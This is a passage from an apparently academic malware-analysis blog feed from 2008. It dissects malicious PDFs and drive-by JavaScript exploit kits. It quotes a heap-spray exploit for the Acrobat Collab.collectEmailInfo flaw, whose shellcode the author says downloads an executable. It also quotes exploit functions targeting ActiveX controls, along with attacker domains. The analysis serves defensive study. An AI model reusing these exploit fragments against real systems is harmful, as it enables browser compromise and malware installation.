  &lt;span class="nx"&gt;ef6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;  &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%uf6eb%uf6eb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u0b0b%u0019&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;plin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u9090%u9090&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;sc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u9090%u9090&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%ue7e9%ufff9&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%uffff%uffff&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%uf6eb%uf4eb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%uf2eb%uf1eb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;plin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;plin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u4141&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;plin&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;plin&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2626&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;ef6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;viewerVersion&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;6.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collabStore&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Collab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collectEmailInfo&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="nx"&gt;subj&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;plin&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;shaft&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setTimeOut&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;start()&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code exploits a vulnerability in the &lt;code&gt;collectEmailInfo&lt;/code&gt; method of
the &lt;code&gt;Collab&lt;/code&gt; object
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659"&gt;CVE-2007-5659&lt;/a&gt;).
The shellcode used in the attack downloads an executable file from the
same site. Anubis has some &lt;a href="http://anubis.iseclab.org/?action=result&amp;amp;task_id=1bb052b6eb0bd8244c13edede6107c05c"&gt;interesting details&lt;/a&gt;
on the behavior of this
executable.&lt;/p&gt;

&lt;p&gt;Another interesting thing to note is that PDF files can contain quite a
few features and behaviors that may surprise and catch off-guard the attackers.
Make sure to read Didier Stevens'
&lt;a href="http://blog.didierstevens.com/2008/11/10/shoulder-surfing-a-malicious-pdf-author/
" title="Shoulder Surfing a Malicious PDF Author [didierstevens.com]"&gt;post&lt;/a&gt; on
how he used the incremental updates feature to reconstruct how the
malicious file was created.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/HP5QhXqTsCs" height="1" width="1"/&gt;</description><category>malware</category><category>javascript</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2008/11/malicious-pdfs.html</guid><pubDate>Thu, 13 Nov 2008 13:56:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2008/11/malicious-pdfs.html</feedburner:origLink></item><item><title>18, 25  exploits: who gives more? Oh, and 2 bugs.</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/4UAab7YsYd0/18-25-exploits-who-gives-more-oh-and-2-bugs.html</link><description>&lt;p&gt;Just a couple of weeks ago I was thinking that &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/10/17-exploits-and-some-feng-shui.html"&gt;17 exploits&lt;/a&gt; in one
JavaScript attack were many. Well, it isn't so. 
I've recently stumbled upon a couple of pages that contain 18
and 25 different exploits. The domains that host the pages are,
respectively, &lt;strong&gt;google-analistyc.net&lt;/strong&gt; and &lt;strong&gt;85.17.166.230&lt;/strong&gt;.&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
   &lt;span class="nx"&gt;office&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;wme&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ya1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ya2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;fb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;mdss&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;creative&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;wks&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ogame&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ca&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;buddy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;gomweb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;xmlcore&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;quick&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;real&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ntaudio&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here are the exploits we haven't already seen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The recent Windows Media Encoder
(&lt;code&gt;A8D3AD02-7508-4004-B2E9-AD33F087F43C&lt;/code&gt;) buffer overflow
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3008"&gt;CVE-2008-3008&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Yahoo! Webcam Uploader (&lt;code&gt;9D39223E-AE8E-11D4-8FD3-00D0B7730277&lt;/code&gt;) buffer overflow via long &lt;code&gt;server&lt;/code&gt; property
followed by an invocation of the &lt;code&gt;receive&lt;/code&gt; method
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3147"&gt;CVE-2007-3147&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Yahoo! Webcam Viewer (&lt;code&gt;DCE2F8B1-A520-11D4-8FD0-00D0B7730277&lt;/code&gt;) buffer overflow via long &lt;code&gt;server&lt;/code&gt; property followed
by an invocation of the &lt;code&gt;send&lt;/code&gt; method
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3148"&gt;CVE-2007-3148&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Aurigma/Facebook Photo Uploader (&lt;code&gt;5C6698D9-7BE4-4122-8EC5-291D84DBD4A0&lt;/code&gt;) overflow in the &lt;code&gt;ExtractIptc&lt;/code&gt; and
&lt;code&gt;ExtractExif&lt;/code&gt; properties
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0660"&gt;CVE-2008-0660&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;ActiveVoice (&lt;code&gt;EEE78591-FE22-11D0-8BEF-0060081841DE&lt;/code&gt;) buffer overflow via long &lt;code&gt;ModeName&lt;/code&gt; parameter in the
&lt;code&gt;FindEngine&lt;/code&gt; function
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2222"&gt;CVE-2007-2222&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The second page has 25 exploits:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
   &lt;span class="nx"&gt;mdac&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
       &lt;span class="nx"&gt;flash&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;wme&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;wfi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;com&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ya1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ya2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;fb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;mdss&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;cr1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;cr2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;cr3&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;cr4&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
           &lt;span class="nx"&gt;creative&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;wks&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ogame&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ca&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;buddy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;gomweb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;xmlcore&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;quick&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;real&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
   &lt;span class="nx"&gt;ntaudio&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here, the "new" ones are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;iMesh (&lt;code&gt;7C3B01BC-53A5-48A0-A43B-0C67731134B9&lt;/code&gt;) overflow in SetHandler method 
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6493"&gt;CVE-2007-6493&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Stack-based overflow in Ask Toolbar
(&lt;code&gt;5A074B2B-F830-49de-A31B-5BB9D7F6B407&lt;/code&gt;)
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5107"&gt;CVE-2007-5107&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Stack-based overflow in IncrediMail IMMenuShellExt control
(&lt;code&gt;F8984111-38B6-11D5-8725-0050DA2761C4&lt;/code&gt;) via
DoWebMenuAction function
(&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1683"&gt;CVE-2007-1683&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, regarding the second part of the title: there seem to be at least
two bugs in these exploit codes.&lt;/p&gt;

&lt;p&gt;First, the function &lt;code&gt;cr3&lt;/code&gt; instantiates the control
&lt;code&gt;07B18EAB-A523-4961-B6BB-170DE4475CCA&lt;/code&gt; and then sets the property
&lt;code&gt;ShortFormat&lt;/code&gt;. This property doesn't seem to exist. ShortFormat is,
instead, the attack vector for the exploit against the Ask Toolbar
(included in the &lt;code&gt;cr2&lt;/code&gt; function). It's probably a case of wrong
copy-and-paste.&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;cr3&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;cobj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;{07B18EAB-A523-4961-B6BB-170DE4475CCA}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;ms2&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;arg1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;\\x0c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mh"&gt;0x200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;\\x0c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ShortFormat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;   
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Second, and this is present in both pages, the &lt;code&gt;mdss&lt;/code&gt; function gets
wrong its memory allocation. In fact, it creates a string (in the &lt;code&gt;buf&lt;/code&gt;
variable) and &lt;em&gt;doubles&lt;/em&gt; its length in a loop that should execute 9999
times. Of course, this doesn't bode well: the machine will likely lock
up before the offending process goes out of memory and, finally, gets
killed.&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;mdss&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;cobj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;{EEE78591-FE22-11D0-8BEF-0060081841DE}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
      &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x0c0c0c0c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="nx"&gt;EngineID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;default&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Interestingly, the original milw0rm exploit did the right thing:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u4141&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;261&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u4141&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Probably, another case of wrong copy-and-paste...&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/4UAab7YsYd0" height="1" width="1"/&gt;</description><category>malware</category><category>javascript</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2008/10/18-25-exploits-who-gives-more-oh-and-2-bugs.html</guid><pubDate>Wed, 29 Oct 2008 00:40:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2008/10/18-25-exploits-who-gives-more-oh-and-2-bugs.html</feedburner:origLink></item><item><title>17 exploits and some Feng Shui</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/G_VHZ9VmsvM/17-exploits-and-some-feng-shui.html</link><description>&lt;p&gt;It is quite common for malicious JavaScript pages to package more than one
exploit together and attempt to run all of them against the victim browser.
But, what about 17 different exploits in the same script? &lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;v8P6GEVcq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cD5Q2LVDZD9t&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;from&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Char&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Code&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="nx"&gt;cD5Q2LVDZD9t&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;  
